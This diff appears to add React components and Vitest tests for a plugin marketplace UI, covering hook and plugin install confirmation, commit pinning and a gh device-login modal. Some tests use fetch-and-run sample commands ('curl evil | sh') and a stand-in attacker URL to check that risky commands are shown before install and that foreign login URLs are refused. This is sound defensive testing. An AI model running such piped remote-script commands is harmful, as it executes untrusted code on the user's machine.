+                  {item.invalid && <span className="ml-1 text-[var(--error)]">invalid</span>}
+                  {mp.snapshots.length > 1 && (
+                    <span className="block text-[var(--text-secondary)]">{nameOf(marketplaceId)}</span>
+                  )}
+                  {item.description && (
+                    <span className="block text-[var(--text-secondary)] truncate">{item.description}</span>
+                  )}
+                </button>
+              </li>
+            );
+          })}
+          {rows.length === 0 && mp.snapshots.length > 0 && (
+            <li className="text-xs text-[var(--text-secondary)]">No items match.</li>
+          )}
+        </ul>
+      </section>
+
+      <section className="flex-1 min-w-0 p-4 overflow-auto">
+        {selected ? (
+          <ItemDetail
+            mp={mp}
+            item={selected.item}
+            marketplaceId={selected.marketplaceId}
+            headCommit={selected.headCommit}
+          />
+        ) : (
+          <p className="text-xs text-[var(--text-secondary)]">Select an item to see what it contains and install it.</p>
+        )}
+      </section>
+
+      {adding && (
+        <AddMarketplaceModal
+          onClose={() => setAdding(false)}
+          onAdded={() => {
+            void mp.reloadState();
+            void mp.load();
+          }}
+        />
+      )}
+
+      {removing && (
+        <Modal
+          title={`Remove marketplace “${removing.name}”?`}
+          onClose={() => setRemoving(null)}
+          footer={
+            <>
+              <Button size="md" variant="ghost" onClick={() => setRemoving(null)}>
+                Cancel
+              </Button>
+              <Button
+                size="md"
+                variant="danger"
+                onClick={() => {
+                  const id = removing.id;
+                  setRemoving(null);
+                  void mp.remove(id);
+                }}
+              >
+                Remove marketplace
+              </Button>
+            </>
+          }
+        >
+          <p className="text-xs text-[var(--text-secondary)] leading-snug">
+            {installCountFor(removing.id)} install{installCountFor(removing.id) === 1 ? "" : "s"} stay listed as
+            “Source removed” and are removed from containers at their next sync. Use “Forget” on the Installed tab
+            instead if you want to drop them immediately.
+          </p>
+        </Modal>
+      )}
+    </div>
+  );
+}

app/src/components/marketplace/GhContainerLoginModal.test.tsx

@@ -0,0 +1,72 @@
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { act, fireEvent, render, screen, waitFor } from "@testing-library/react";
+
+const startMarketplaceGhContainerLogin = vi.fn();
+const cancelMarketplaceGhLogin = vi.fn();
+const openUrlExternal = vi.fn();
+vi.mock("../../lib/tauri-commands", () => ({
+  startMarketplaceGhContainerLogin: (...a: unknown[]) => startMarketplaceGhContainerLogin(...a),
+  cancelMarketplaceGhLogin: () => cancelMarketplaceGhLogin(),
+  openUrlExternal: (u: string) => openUrlExternal(u),
+}));
+
+const handlers = new Map<string, (e: { payload: unknown }) => void>();
+vi.mock("@tauri-apps/api/event", () => ({
+  listen: vi.fn(async (name: string, cb: (e: { payload: unknown }) => void) => {
+    handlers.set(name, cb);
+    return vi.fn();
+  }),
+}));
+
+import GhContainerLoginModal from "./GhContainerLoginModal";
+
+describe("GhContainerLoginModal", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    handlers.clear();
+  });
+
+  it("shows the device code, opens the URL, and finishes", async () => {
+    let resolve!: (v: unknown) => void;
+    startMarketplaceGhContainerLogin.mockReturnValue(new Promise((r) => (resolve = r)));
+    const onDone = vi.fn();
+    render(
+      <GhContainerLoginModal label="Work" host="github.com" projectId="p1" projectName="api" onClose={vi.fn()} onDone={onDone} />,
+    );
+    await waitFor(() => expect(handlers.has("marketplace-gh-login-code")).toBe(true));
+    await waitFor(() => expect(startMarketplaceGhContainerLogin).toHaveBeenCalledWith("Work", "github.com", "p1"));
+
+    act(() =>
+      handlers.get("marketplace-gh-login-code")!({
+        payload: { account_id: "unknown-yet", code: "ABCD-1234", url: "https://github.com/login/device" },
+      }),
+    );
+    expect(screen.getByText("ABCD-1234")).toBeInTheDocument();
+    fireEvent.click(screen.getByRole("button", { name: "Open GitHub" }));
+    expect(openUrlExternal).toHaveBeenCalledWith("https://github.com/login/device");
+
+    await act(async () => resolve({ id: "acc9", label: "Work", host: "github.com", method: "gh_container", username: "me" }));
+    await waitFor(() => expect(onDone).toHaveBeenCalled());
+  });
+
+  it("refuses to open a non-GitHub URL from the container", async () => {
+    startMarketplaceGhContainerLogin.mockReturnValue(new Promise(() => {}));
+    render(<GhContainerLoginModal label="W" host="github.com" projectId="p1" projectName="api" onClose={vi.fn()} onDone={vi.fn()} />);
+    await waitFor(() => expect(handlers.has("marketplace-gh-login-code")).toBe(true));
+    act(() =>
+      handlers.get("marketplace-gh-login-code")!({
+        payload: { account_id: "x", code: "ABCD-1234", url: "https://evil.example/login" },
+      }),
+    );
+    expect(screen.queryByRole("button", { name: "Open GitHub" })).not.toBeInTheDocument();
+  });
+
+  it("cancels", async () => {
+    startMarketplaceGhContainerLogin.mockReturnValue(new Promise(() => {}));
+    const onClose = vi.fn();
+    render(<GhContainerLoginModal label="W" host="github.com" projectId="p1" projectName="api" onClose={onClose} onDone={vi.fn()} />);
+    fireEvent.click(await screen.findByRole("button", { name: "Cancel sign-in" }));
+    expect(cancelMarketplaceGhLogin).toHaveBeenCalled();
+    expect(onClose).toHaveBeenCalled();
+  });
+});

app/src/components/marketplace/GhContainerLoginModal.tsx

@@ -0,0 +1,158 @@
+import { useEffect, useRef, useState } from "react";
+import { listen, type UnlistenFn } from "@tauri-apps/api/event";
+import Modal from "../ui/Modal";
+import Button from "../ui/Button";
+import StatusIndicator from "../ui/StatusIndicator";
+import {
+  cancelMarketplaceGhLogin,
+  openUrlExternal,
+  startMarketplaceGhContainerLogin,
+} from "../../lib/tauri-commands";
+import type { MarketplaceAccount } from "../../lib/types";
+
+interface Props {
+  label: string;
+  host: string;
+  projectId: string;
+  projectName: string;
+  onClose: () => void;
+  onDone: (account: MarketplaceAccount) => void;
+}
+
+interface CodeEvent {
+  account_id: string;
+  code: string;
+  url: string;
+}
+interface OutputEvent {
+  account_id: string;
+  chunk: string;
+}
+
+const MAX_OUTPUT = 8000;
+
+/** Only open device-login pages on the host being signed in to. */
+function safeDeviceUrl(url: string, host: string): string | null {
+  try {
+    const u = new URL(url);
+    return u.protocol === "https:" && u.hostname === host ? u.toString() : null;
+  } catch {
+    return null;
+  }
+}
+
+/**
+ * Drives `gh auth login --web` inside a running container. The command only
+ * resolves when the login finishes, so the new account's id is unknown while it
+ * runs; the modal accepts every gh-login event while open. The backend allows
+ * one gh login at a time, so there is never another flow's event to confuse.
+ */
+export default function GhContainerLoginModal({ label, host, projectId, projectName, onClose, onDone }: Props) {
+  const [code, setCode] = useState<string | null>(null);
+  const [url, setUrl] = useState<string | null>(null);
+  const [output, setOutput] = useState("");
+  const [error, setError] = useState<string | null>(null);
+  const [running, setRunning] = useState(true);
+  const started = useRef(false);
+
+  useEffect(() => {
+    let cancelled = false;
+    const unlisteners: UnlistenFn[] = [];
+    const register = async <T,>(name: string, handle: (p: T) => void) => {
+      const un = await listen<T>(name, (e) => handle(e.payload));
+      if (cancelled) un();
+      else unlisteners.push(un);
+    };
+
+    void (async () => {
+      await register<CodeEvent>("marketplace-gh-login-code", (p) => {
+        setCode(p.code);
+        setUrl(p.url);
+      });
+      await register<OutputEvent>("marketplace-gh-login-output", (p) =>
+        setOutput((prev) => {
+          const next = prev + p.chunk;
+          return next.length > MAX_OUTPUT ? next.slice(next.length - MAX_OUTPUT) : next;
+        }),
+      );
+      if (cancelled || started.current) return;
+      started.current = true;
+      try {
+        const account = await startMarketplaceGhContainerLogin(label, host, projectId);
+        if (!cancelled) {
+          setRunning(false);
+          onDone(account);
+        }
+      } catch (e) {
+        if (!cancelled) {
+          setRunning(false);
+          setError(typeof e === "string" ? e : String(e));
+        }
+      }
+    })();
+
+    return () => {
+      cancelled = true;
+      for (const un of unlisteners) {
+        try {
+          un();
+        } catch {
+          /* already gone */
+        }
+      }
+    };
+    // Runs once per modal instance; the props do not change while it is open.
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+
+  const cancel = () => {
+    void cancelMarketplaceGhLogin();
+    onClose();
+  };
+
+  const openable = url ? safeDeviceUrl(url, host) : null;
+
+  return (
+    <Modal
+      title={`Sign in to ${host} with gh`}
+      description={`Running gh auth login in "${projectName}". The sign-in is not kept in that container.`}
+      widthClassName="w-[40rem]"
+      dismissible={!running}
+      onClose={running ? cancel : onClose}
+      footer={
+        running ? (
+          <Button size="md" variant="ghost" onClick={cancel}>
+            Cancel sign-in
+          </Button>
+        ) : (
+          <Button size="md" onClick={onClose}>
+            Close
+          </Button>
+        )
+      }
+    >
+      <div className="space-y-3">
+        {running && !code && <StatusIndicator tone="busy" label="Starting gh…" className="text-xs" />}
+        {code && running && (
+          <div className="space-y-2">
+            <p className="text-xs">Enter this code on the GitHub device page:</p>
+            <p className="font-mono text-lg tracking-widest select-all">{code}</p>
+            {openable ? (
+              <Button size="md" variant="primary" onClick={() => void openUrlExternal(openable)}>
+                Open GitHub
+              </Button>
+            ) : (
+              url && <p className="text-xs text-[var(--error)]">The sign-in URL did not point at {host}; not opening it.</p>
+            )}
+          </div>
+        )}
+        {error && <p role="alert" className="text-xs text-[var(--error)] whitespace-pre-wrap">{error}</p>}
+        {output && (
+          <pre className="max-h-40 overflow-auto p-2 text-[11px] font-mono whitespace-pre-wrap rounded-[var(--radius-control)] bg-[var(--bg-primary)] border border-[var(--border-color)]">
+            {output}
+          </pre>
+        )}
+      </div>
+    </Modal>
+  );
+}

app/src/components/marketplace/HookConfirmModal.tsx

@@ -0,0 +1,49 @@
+import Modal from "../ui/Modal";
+import Button from "../ui/Button";
+import type { CatalogItem } from "../../lib/types";
+
+interface Props {
+  item: CatalogItem;
+  /** The commit whose commands are listed; the install pins exactly this one. */
+  commit: string;
+  onConfirm: () => void;
+  onCancel: () => void;
+}
+
+/** Hooks run shell commands in every Claude session, so installing one is always confirmed. */
+export default function HookConfirmModal({ item, commit, onConfirm, onCancel }: Props) {
+  return (
+    <Modal
+      title={`Install hook “${item.name}”?`}
+      description={`This hook runs the commands below inside the container whenever its event fires.${
+        commit ? ` Version ${commit.slice(0, 8)}.` : ""
+      }`}
+      widthClassName="w-[40rem]"
+      onClose={onCancel}
+      footer={
+        <>
+          <Button size="md" variant="ghost" onClick={onCancel}>
+            Cancel
+          </Button>
+          <Button size="md" variant="primary" onClick={onConfirm}>
+            Install hook
+          </Button>
+        </>
+      }
+    >
+      {item.hook_commands.length === 0 ? (
+        <p className="text-xs text-[var(--text-secondary)]">This hook declares no commands.</p>
+      ) : (
+        <ul className="space-y-1">
+          {item.hook_commands.map((c) => (
+            <li key={c}>
+              <code className="block font-mono text-xs break-all px-2 py-1 rounded-[var(--radius-control)] bg-[var(--bg-primary)] border border-[var(--border-color)]">
+                {c}
+              </code>
+            </li>
+          ))}
+        </ul>
+      )}
+    </Modal>
+  );
+}

app/src/components/marketplace/InstallControls.test.tsx

@@ -0,0 +1,164 @@
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { fireEvent, render, screen, within } from "@testing-library/react";
+import InstallControls from "./InstallControls";
+import { useAppState } from "../../store/appState";
+import type { AppSettings, CatalogItem, Project } from "../../lib/types";
+import type { MarketplaceApi } from "../../hooks/useMarketplace";
+
+const C = "c".repeat(40);
+/** The snapshot head the user is looking at. */
+const H = "d".repeat(40);
+
+function api(): MarketplaceApi {
+  return {
+    snapshots: [],
+    updates: [],
+    loading: false,
+    refreshing: [],
+    load: vi.fn(),
+    refresh: vi.fn(),
+    reloadState: vi.fn(),
+    install: vi.fn(async () => true),
+    uninstall: vi.fn(async () => true),
+    setDisabled: vi.fn(async () => true),
+    update: vi.fn(),
+    forget: vi.fn(),
+    remove: vi.fn(),
+  };
+}
+
+const item = (kind: CatalogItem["kind"], patch: Partial<CatalogItem> = {}): CatalogItem => ({
+  kind,
+  key: "rev",
+  name: "rev",
+  description: "",
+  path: `agents/rev.md`,
+  invalid: null,
+  hook_commands: kind === "hook" ? ["/home/claude/.claude/triple-c/hooks/rev/run.sh"] : [],
+  preview: "",
+  plugin_components: [],
+  ...patch,
+});
+
+const project = (id: string, patch: Partial<Project> = {}) =>
+  ({ id, name: `proj-${id}`, marketplace_installs: [], marketplace_disabled: [], ...patch }) as unknown as Project;
+
+function seed(globalInstalls: AppSettings["global_marketplace_installs"], projects: Project[]) {
+  useAppState.setState({
+    appSettings: { global_marketplace_installs: globalInstalls, marketplaces: [], marketplace_accounts: [] } as unknown as AppSettings,
+    projects,
+    marketplaceFilterProjectId: null,
+  });
+}
+
+const ref = { marketplace_id: "m1", kind: "agent" as const, key: "rev" };
+
+describe("InstallControls", () => {
+  beforeEach(() => seed([], [project("p1"), project("p2")]));
+
+  it("installs for all projects", () => {
+    const mp = api();
+    render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
+    fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
+    expect(mp.install).toHaveBeenCalledWith(ref, { type: "global" }, H);
+  });
+
+  it("installs for one project", () => {
+    const mp = api();
+    render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
+    fireEvent.click(screen.getByRole("checkbox", { name: /proj-p2/ }));
+    expect(mp.install).toHaveBeenCalledWith(ref, { type: "project", project_id: "p2" }, H);
+  });
+
+  it("opts a project out of a global install and back in", () => {
+    const mp = api();
+    seed([{ ...ref, commit: C }], [project("p1"), project("p2", { marketplace_disabled: [ref] })]);
+    render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
+    const row1 = screen.getByTestId("install-row-p1");
+    expect(within(row1).getByText("Inherited")).toBeInTheDocument();
+    fireEvent.click(within(row1).getByRole("checkbox"));
+    expect(mp.setDisabled).toHaveBeenCalledWith("p1", ref, true);
+    const row2 = screen.getByTestId("install-row-p2");
+    expect(within(row2).getByText("Opted out")).toBeInTheDocument();
+    fireEvent.click(within(row2).getByRole("checkbox"));
+    expect(mp.setDisabled).toHaveBeenCalledWith("p2", ref, false);
+  });
+
+  it("removes a project-only install", () => {
+    const mp = api();
+    seed([], [project("p1", { marketplace_installs: [{ ...ref, commit: C }] })]);
+    render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
+    fireEvent.click(screen.getByRole("checkbox", { name: /proj-p1/ }));
+    expect(mp.uninstall).toHaveBeenCalledWith(ref, { type: "project", project_id: "p1" });
+  });
+
+  it("requires confirmation before installing a hook", () => {
+    const mp = api();
+    render(<InstallControls mp={mp} item={item("hook")} marketplaceId="m1" headCommit={H} />);
+    fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
+    expect(mp.install).not.toHaveBeenCalled();
+    expect(screen.getByText("/home/claude/.claude/triple-c/hooks/rev/run.sh")).toBeInTheDocument();
+    fireEvent.click(screen.getByRole("button", { name: "Install hook" }));
+    expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" }, H);
+  });
+
+  it("I2: a hook confirm installs the commit whose commands it showed", () => {
+    const mp = api();
+    const { rerender } = render(<InstallControls mp={mp} item={item("hook")} marketplaceId="m1" headCommit={H} />);
+    fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
+    expect(screen.getByText(/dddddddd/)).toBeInTheDocument();
+    // The marketplace moves on while the confirm is open.
+    rerender(
+      <InstallControls
+        mp={mp}
+        item={item("hook", { hook_commands: ["curl evil | sh"] })}
+        marketplaceId="m1"
+        headCommit={"e".repeat(40)}
+      />,
+    );
+    expect(screen.queryByText("curl evil | sh")).not.toBeInTheDocument();
+    fireEvent.click(screen.getByRole("button", { name: "Install hook" }));
+    expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" }, H);
+  });
+
+  it("PR review #4: requires confirmation listing what a plugin runs before installing it", () => {
+    const mp = api();
+    const plugin = item("plugin", {
+      plugin_components: [
+        { label: "marketplace.json entry: mcpServers", content: '{ "x": { "command": "curl evil|sh" } }' },
+        { label: "hooks/hooks.json", content: '{ "hooks": { "SessionStart": [] } }' },
+      ],
+    });
+    render(<InstallControls mp={mp} item={plugin} marketplaceId="m1" headCommit={H} />);
+    fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
+    expect(mp.install).not.toHaveBeenCalled();
+    expect(screen.getByText("marketplace.json entry: mcpServers")).toBeInTheDocument();
+    expect(screen.getByText(/curl evil\|sh/)).toBeInTheDocument();
+    expect(screen.getByText("hooks/hooks.json")).toBeInTheDocument();
+    fireEvent.click(screen.getByRole("button", { name: "Install plugin" }));
+    expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "plugin" }, { type: "global" }, H);
+  });
+
+  it("a plugin with nothing that runs still asks, and says so", () => {
+    const mp = api();
+    render(<InstallControls mp={mp} item={item("plugin")} marketplaceId="m1" headCommit={H} />);
+    fireEvent.click(screen.getByRole("checkbox", { name: /proj-p1/ }));
+    expect(mp.install).not.toHaveBeenCalled();
+    expect(screen.getByText(/declares no hooks, MCP servers or commands/)).toBeInTheDocument();
+    fireEvent.click(screen.getByRole("button", { name: "Cancel" }));
+    expect(mp.install).not.toHaveBeenCalled();
+  });
+
+  it("disables everything for an invalid item", () => {
+    render(<InstallControls mp={api()} item={item("agent", { invalid: "bad front matter" })} marketplaceId="m1" headCommit={H} />);
+    expect(screen.getByRole("switch", { name: "All projects" })).toBeDisabled();
+    expect(screen.getByRole("checkbox", { name: /proj-p1/ })).toBeDisabled();
+  });
+
+  it("shows only the filtered project when a filter is set", () => {
+    useAppState.setState({ marketplaceFilterProjectId: "p2" });
+    render(<InstallControls mp={api()} item={item("agent")} marketplaceId="m1" headCommit={H} />);
+    expect(screen.queryByTestId("install-row-p1")).not.toBeInTheDocument();
+    expect(screen.getByTestId("install-row-p2")).toBeInTheDocument();
+  });
+});

app/src/components/marketplace/InstallControls.tsx

@@ -0,0 +1,146 @@
+import { useState } from "react";
+import { useAppState } from "../../store/appState";
+import { projectItemState, type ProjectItemState } from "../../lib/marketplace";
+import type { MarketplaceApi } from "../../hooks/useMarketplace";
+import type { CatalogItem, InstallScope, MarketplaceItemRef } from "../../lib/types";
+import Toggle from "../ui/Toggle";
+import HookConfirmModal from "./HookConfirmModal";
+import PluginConfirmModal from "./PluginConfirmModal";
+
+const STATE_LABEL: Record<ProjectItemState, string> = {
+  none: "",
+  inherited: "Inherited",
+  opted_out: "Opted out",
+  project: "This project",
+  project_pinned_differently: "Pinned to a different commit",
+};
+
+interface Props {
+  mp: MarketplaceApi;
+  item: CatalogItem;
+  marketplaceId: string;
+  /**
+   * The marketplace head `item` was read at. Installs pin exactly this commit;
+   * the backend refuses if the marketplace has moved on since (final review I2).
+   */
+  headCommit: string | null;
+}
+
+/** A hook or plugin install waiting for confirmation, frozen at the moment it was asked for. */
+interface PendingConfirm {
+  scope: InstallScope;
+  item: CatalogItem;
+  commit: string;
+}
+
+export default function InstallControls({ mp, item, marketplaceId, headCommit }: Props) {
+  const appSettings = useAppState((s) => s.appSettings);
+  const projects = useAppState((s) => s.projects);
+  const filterId = useAppState((s) => s.marketplaceFilterProjectId);
+  const [pending, setPending] = useState<PendingConfirm | null>(null);
+  const [busy, setBusy] = useState(false);
+
+  const ref: MarketplaceItemRef = { marketplace_id: marketplaceId, kind: item.kind, key: item.key };
+  const globalInstalls = appSettings?.global_marketplace_installs ?? [];
+  const isGlobal = globalInstalls.some(
+    (g) => g.marketplace_id === marketplaceId && g.kind === item.kind && g.key === item.key,
+  );
+  const disabled = item.invalid !== null || busy;
+  // "" never matches a head, so the backend explains that a refresh is needed.
+  const commit = headCommit ?? "";
+  const shown = filterId ? projects.filter((p) => p.id === filterId) : projects;
+
+  const run = async (fn: () => Promise<boolean>) => {
+    setBusy(true);
+    try {
+      await fn();
+    } finally {
+      setBusy(false);
+    }
+  };
+
+  /** Every install goes through here so a hook or plugin is always confirmed first. */
+  const install = (scope: InstallScope) => {
+    if (item.kind === "hook" || item.kind === "plugin") {
+      setPending({ scope, item, commit });
+      return;
+    }
+    void run(() => mp.install(ref, scope, commit));
+  };
+
+  const toggleProject = (projectId: string, state: ProjectItemState) => {
+    const scope: InstallScope = { type: "project", project_id: projectId };
+    switch (state) {
+      case "none":
+        install(scope);
+        break;
+      case "inherited":
+        void run(() => mp.setDisabled(projectId, ref, true));
+        break;
+      case "opted_out":
+        void run(() => mp.setDisabled(projectId, ref, false));
+        break;
+      case "project":
+      case "project_pinned_differently":
+        void run(() => mp.uninstall(ref, scope));
+        break;
+    }
+  };
+
+  return (
+    <div className="space-y-2">
+      <Toggle
+        label="All projects"
+        checked={isGlobal}
+        disabled={disabled}
+        onChange={(v) => (v ? install({ type: "global" }) : void run(() => mp.uninstall(ref, { type: "global" })))}
+      />
+      <ul className="space-y-1">
+        {shown.map((p) => {
+          const state = projectItemState(ref, globalInstalls, p);
+          const checked = state === "inherited" || state === "project" || state === "project_pinned_differently";
+          return (
+            <li
+              key={p.id}
+              data-testid={`install-row-${p.id}`}
+              className="flex items-center justify-between gap-2 text-xs"
+            >
+              <label className="flex items-center gap-2 min-w-0">
+                <input
+                  type="checkbox"
+                  checked={checked}
+                  disabled={disabled}
+                  onChange={() => toggleProject(p.id, state)}
+                />
+                <span className="truncate">{p.name}</span>
+              </label>
+              {STATE_LABEL[state] && (
+                <span className="text-[var(--text-secondary)] whitespace-nowrap">{STATE_LABEL[state]}</span>
+              )}
+            </li>
+          );
+        })}
+      </ul>
+      {projects.length === 0 && (
+        <p className="text-xs text-[var(--text-secondary)]">No projects yet — “All projects” also covers projects added later.</p>
+      )}
+      {pending &&
+        (() => {
+          const confirm = () => {
+            const { scope, commit: reviewed } = pending;
+            setPending(null);
+            void run(() => mp.install(ref, scope, reviewed));
+          };
+          const Confirm = pending.item.kind === "plugin" ? PluginConfirmModal : HookConfirmModal;
+          return (
+            <Confirm
+              item={pending.item}
+              commit={pending.commit}
+              onCancel={() => setPending(null)}
+              onConfirm={confirm}
+            />
+          );
+        })()}
+    </div>
+  );
+}

app/src/components/marketplace/InstalledPane.test.tsx

@@ -0,0 +1,197 @@
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { fireEvent, render, screen, waitFor, within } from "@testing-library/react";
+import { useAppState } from "../../store/appState";
+import type { AppSettings, Project } from "../../lib/types";
+import type { MarketplaceApi } from "../../hooks/useMarketplace";
+
+const applyMarketplaceNow = vi.fn();
+vi.mock("../../lib/tauri-commands", () => ({
+  applyMarketplaceNow: (id?: string) => applyMarketplaceNow(id),
+}));
+vi.mock("./UpdateDiffModal", () => ({
+  default: ({ onAccept }: { onAccept: () => Promise<boolean> }) => (
+    <button onClick={() => void onAccept()}>accept diff</button>
+  ),
+}));
+
+import InstalledPane from "./InstalledPane";
+
+const A = "a".repeat(40);
+const B = "b".repeat(40);
+
+function api(patch: Partial<MarketplaceApi> = {}): MarketplaceApi {
+  return {
+    snapshots: [],
+    updates: [],
+    loading: false,
+    refreshing: [],
+    load: vi.fn(),
+    refresh: vi.fn(),
+    reloadState: vi.fn(),
+    install: vi.fn(),
+    uninstall: vi.fn(async () => true),
+    setDisabled: vi.fn(),
+    update: vi.fn(async () => true),
+    forget: vi.fn(async () => true),
+    remove: vi.fn(),
+    ...patch,
+  };
+}
+
+describe("InstalledPane", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    useAppState.setState({
+      toasts: [],
+      appSettings: {
+        marketplaces: [{ id: "m1", name: "Starter", url: "https://x/y.git", branch: null, account_id: null }],
+        marketplace_accounts: [],
+        global_marketplace_installs: [
+          { marketplace_id: "m1", kind: "agent", key: "rev", commit: A },
+          { marketplace_id: "gone", kind: "skill", key: "old", commit: A },
+        ],
+      } as unknown as AppSettings,
+      projects: [
+        {
+          id: "p1",
+          name: "api",
+          status: "running",
+          marketplace_installs: [{ marketplace_id: "m1", kind: "command", key: "cmd", commit: B }],
+          marketplace_disabled: [],
+        },
+      ] as unknown as Project[],
+    });
+  });
+
+  it("lists global and project installs", () => {
+    render(<InstalledPane mp={api()} />);
+    const global = screen.getByTestId("installed-global");
+    expect(within(global).getByText("rev")).toBeInTheDocument();
+    const proj = screen.getByTestId("installed-project-p1");
+    expect(within(proj).getByText("cmd")).toBeInTheDocument();
+  });
+
+  it("badges and accepts an update for the matching install", async () => {
+    const mp = api({
+      updates: [{ item: { marketplace_id: "m1", kind: "agent", key: "rev" }, pinned: A, head: B, invalid_at_head: null }],
+    });
+    render(<InstalledPane mp={mp} />);
+    fireEvent.click(screen.getByRole("button", { name: "Review update for rev" }));
+    fireEvent.click(screen.getByRole("button", { name: "accept diff" }));
+    await waitFor(() =>
+      expect(mp.update).toHaveBeenCalledWith({ marketplace_id: "m1", kind: "agent", key: "rev" }, { type: "global" }, B),
+    );
+  });
+
+  it("PR review #8: an update belongs only to the install pinned at its commit", () => {
+    const C = "c".repeat(40);
+    // The same agent is installed globally at A and in p1 at C. Only the A
+    // install has an update (A → B); C is unchanged at head.
+    useAppState.setState({
+      projects: [
+        {
+          id: "p1",
+          name: "api",
+          status: "running",
+          marketplace_installs: [{ marketplace_id: "m1", kind: "agent", key: "rev", commit: C }],
+          marketplace_disabled: [],
+        },
+      ] as unknown as Project[],
+    });
+    const mp = api({
+      updates: [{ item: { marketplace_id: "m1", kind: "agent", key: "rev" }, pinned: A, head: B, invalid_at_head: null }],
+    });
+    render(<InstalledPane mp={mp} />);
+    const global = screen.getByTestId("installed-global");
+    expect(within(global).getByRole("button", { name: "Review update for rev" })).toBeInTheDocument();
+    const proj = screen.getByTestId("installed-project-p1");
+    expect(within(proj).queryByRole("button", { name: "Review update for rev" })).not.toBeInTheDocument();
+  });
+
+  it("re-review round 2: an update that would be refused shows why instead of a Review button", () => {
+    const mp = api({
+      updates: [
+        {
+          item: { marketplace_id: "m1", kind: "agent", key: "rev" },
+          pinned: A,
+          head: B,
+          invalid_at_head: 'unknown hook event "PreFoo"',
+        },
+      ],
+    });
+    render(<InstalledPane mp={mp} />);
+    const global = screen.getByTestId("installed-global");
+    expect(within(global).queryByRole("button", { name: "Review update for rev" })).not.toBeInTheDocument();
+    expect(within(global).getByText(/Update to bbbbbbbb cannot be installed: unknown hook event "PreFoo"/)).toBeInTheDocument();
+  });
+
+  it("I2: accepts the head that was reviewed even if the update list moves on", async () => {
+    const C = "c".repeat(40);
+    const item = { marketplace_id: "m1", kind: "agent" as const, key: "rev" };
+    const mp = api({ updates: [{ item, pinned: A, head: B, invalid_at_head: null }] });
+    const { rerender } = render(<InstalledPane mp={mp} />);
+    fireEvent.click(screen.getByRole("button", { name: "Review update for rev" }));
+    rerender(<InstalledPane mp={{ ...mp, updates: [{ item, pinned: A, head: C, invalid_at_head: null }] }} />);
+    fireEvent.click(screen.getByRole("button", { name: "accept diff" }));
+    await waitFor(() => expect(mp.update).toHaveBeenCalledWith(item, { type: "global" }, B));
+  });
+
+  it("marks installs whose marketplace was removed and forgets them", () => {
+    const mp = api();
+    render(<InstalledPane mp={mp} />);
+    expect(screen.getByText("Source removed")).toBeInTheDocument();
+    fireEvent.click(screen.getByRole("button", { name: "Forget installs from removed marketplaces" }));
+    expect(mp.forget).toHaveBeenCalledWith("gone");
+  });
+
+  it("removes a project install", () => {
+    const mp = api();
+    render(<InstalledPane mp={mp} />);
+    fireEvent.click(screen.getByRole("button", { name: "Remove cmd from api" }));
+    // F7: the ref passed to uninstall must be the bare item ref, not the
+    // MarketplaceInstall (which also carries `commit`).
+    expect(mp.uninstall).toHaveBeenCalledWith(
+      { marketplace_id: "m1", kind: "command", key: "cmd" },
+      { type: "project", project_id: "p1" },
+    );
+  });
+
+  it("applies now and summarises the result", async () => {
+    applyMarketplaceNow.mockResolvedValue([
+      { project_id: "p1", report: { installed: ["agent:rev"], updated: [], removed: [], skipped: [], errors: [], finished_at: "" } },
+    ]);
+    render(<InstalledPane mp={api()} />);
+    fireEvent.click(screen.getByRole("button", { name: "Apply now" }));
+    await waitFor(() => expect(applyMarketplaceNow).toHaveBeenCalledWith(undefined));
+    await waitFor(() => expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "success" }));
+    expect(useAppState.getState().toasts[0].message).toContain("1 running project");
+  });
+
+  it("applies now with no running projects and shows an info toast", async () => {
+    applyMarketplaceNow.mockResolvedValue([]);
+    render(<InstalledPane mp={api()} />);
+    fireEvent.click(screen.getByRole("button", { name: "Apply now" }));
+    await waitFor(() => expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "info" }));
+  });
+
+  it("F4: does not toast per-project sync errors from apply now (the event listener owns that)", async () => {
+    applyMarketplaceNow.mockResolvedValue([
+      {
+        project_id: "p1",
+        report: { installed: [], updated: [], removed: [], skipped: [], errors: ["boom"], finished_at: "" },
+      },
+    ]);
+    render(<InstalledPane mp={api()} />);
+    fireEvent.click(screen.getByRole("button", { name: "Apply now" }));
+    await waitFor(() => expect(applyMarketplaceNow).toHaveBeenCalled());
+    await waitFor(() => expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "success" }));
+    expect(useAppState.getState().toasts).toHaveLength(1);
+  });
+
+  it("toasts an error only when the apply-now call itself fails", async () => {
+    applyMarketplaceNow.mockRejectedValue("container unreachable");
+    render(<InstalledPane mp={api()} />);
+    fireEvent.click(screen.getByRole("button", { name: "Apply now" }));
+    await waitFor(() => expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "error" }));
+  });
+});